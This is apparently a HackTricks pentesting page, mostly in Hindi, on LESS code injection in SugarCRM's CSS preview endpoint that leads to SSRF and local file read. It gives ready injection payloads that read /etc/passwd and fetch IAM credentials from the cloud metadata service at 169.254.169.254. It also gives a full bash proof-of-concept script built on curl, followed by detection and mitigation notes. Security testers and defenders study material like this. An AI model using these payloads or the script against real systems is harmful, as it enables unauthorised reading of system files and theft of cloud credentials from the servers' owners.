LESS Code Injection leading to SSRF & Local File Read

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

Overview

LESS एक लोकप्रिय CSS प्री-प्रोसेसर है जो वेरिएबल्स, मिक्सिन्स, फंक्शंस और शक्तिशाली @import निर्देश को जोड़ता है। संकलन के दौरान LESS इंजन @import बयानों में संदर्भित संसाधनों को फेच करेगा और (inline) विकल्प का उपयोग करने पर उनके सामग्री को परिणामी CSS में एम्बेड ("इनलाइन") करेगा।

जब एक एप्लिकेशन उपयोगकर्ता-नियंत्रित इनपुट को एक स्ट्रिंग में जोड़ता है जिसे बाद में LESS कंपाइलर द्वारा पार्स किया जाता है, तो एक हमलावर मनमाना LESS कोड इंजेक्ट कर सकता है। @import (inline) का दुरुपयोग करके हमलावर सर्वर को पुनः प्राप्त करने के लिए मजबूर कर सकता है:

  • file:// प्रोटोकॉल के माध्यम से स्थानीय फ़ाइलें (जानकारी का खुलासा / स्थानीय फ़ाइल समावेशन)।
  • आंतरिक नेटवर्क या क्लाउड मेटाडेटा सेवाओं पर दूरस्थ संसाधन (SSRF)।

यह तकनीक वास्तविक दुनिया के उत्पादों में देखी गई है जैसे SugarCRM ≤ 14.0.0 (/rest/v10/css/preview एंडपॉइंट)।

Exploitation

  1. एक पैरामीटर की पहचान करें जो LESS इंजन द्वारा संसाधित स्टाइलशीट स्ट्रिंग के अंदर सीधे एम्बेड किया गया है (जैसे ?lm= SugarCRM में)।
  2. वर्तमान बयान को बंद करें और नए निर्देश इंजेक्ट करें। सबसे सामान्य प्राइमिटिव हैं:
  • ; – पिछले घोषणा को समाप्त करता है।
  • } – पिछले ब्लॉक को बंद करता है (यदि आवश्यक हो)।
  1. मनमाने संसाधनों को पढ़ने के लिए @import (inline) '<URL>'; का उपयोग करें।
  2. वैकल्पिक रूप से आयात के बाद एक मार्कर (data: URI) इंजेक्ट करें ताकि संकलित CSS से प्राप्त सामग्री को निकालना आसान हो सके।

Local File Read

1; @import (inline) 'file:///etc/passwd';
@import (inline) 'data:text/plain,@@END@@'; //

/etc/passwd की सामग्री HTTP प्रतिक्रिया में @@END@@ मार्कर से ठीक पहले दिखाई देगी।

SSRF – क्लाउड मेटाडेटा

1; @import (inline) "http://169.254.169.254/latest/meta-data/iam/security-credentials/";
@import (inline) 'data:text/plain,@@END@@'; //

स्वचालित PoC (SugarCRM उदाहरण)

bash
#!/usr/bin/env bash
# Usage: ./exploit.sh http://target/sugarcrm/ /etc/passwd

TARGET="$1"        # Base URL of SugarCRM instance
RESOURCE="$2"      # file:// path or URL to fetch

INJ=$(python -c "import urllib.parse,sys;print(urllib.parse.quote_plus(\"1; @import (inline) '$RESOURCE'; @import (inline) 'data:text/plain,@@END@@';//\"))")

curl -sk "${TARGET}rest/v10/css/preview?baseUrl=1&lm=${INJ}" | \
sed -n 's/.*@@END@@\(.*\)/\1/p'

Detection

  • अस्वीकृत क्वेरी पैरामीटर वाले गतिशील रूप से उत्पन्न .less या .css प्रतिक्रियाओं की तलाश करें।
  • कोड समीक्षा के दौरान, ऐसे निर्माणों की खोज करें जैसे "@media all { .preview { ... ${userInput} ... } }" जो LESS रेंडर फ़ंक्शंस को पास किए जाते हैं।
  • शोषण के प्रयास अक्सर @import, (inline), file://, http://169.254.169.254, आदि शामिल करते हैं।

Mitigations

  • LESS कंपाइलर को अस्वीकृत डेटा न दें।
  • यदि गतिशील मान आवश्यक हैं, तो उन्हें सही तरीके से escape/sanitize करें (जैसे, संख्यात्मक टोकन, व्हाइटलिस्ट तक सीमित करें)।
  • जब संभव हो, (inline) आयातों का उपयोग करने की क्षमता को अक्षम करें, या अनुमत प्रोटोकॉल को https तक सीमित करें।
  • निर्भरताओं को अद्यतित रखें – SugarCRM ने संस्करण 13.0.4 और 14.0.1 में इस समस्या को पैच किया।

Real-World Cases

ProductVulnerable EndpointImpact
SugarCRM ≤ 14.0.0/rest/v10/css/preview?lm=Unauthenticated SSRF & local file read

References

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें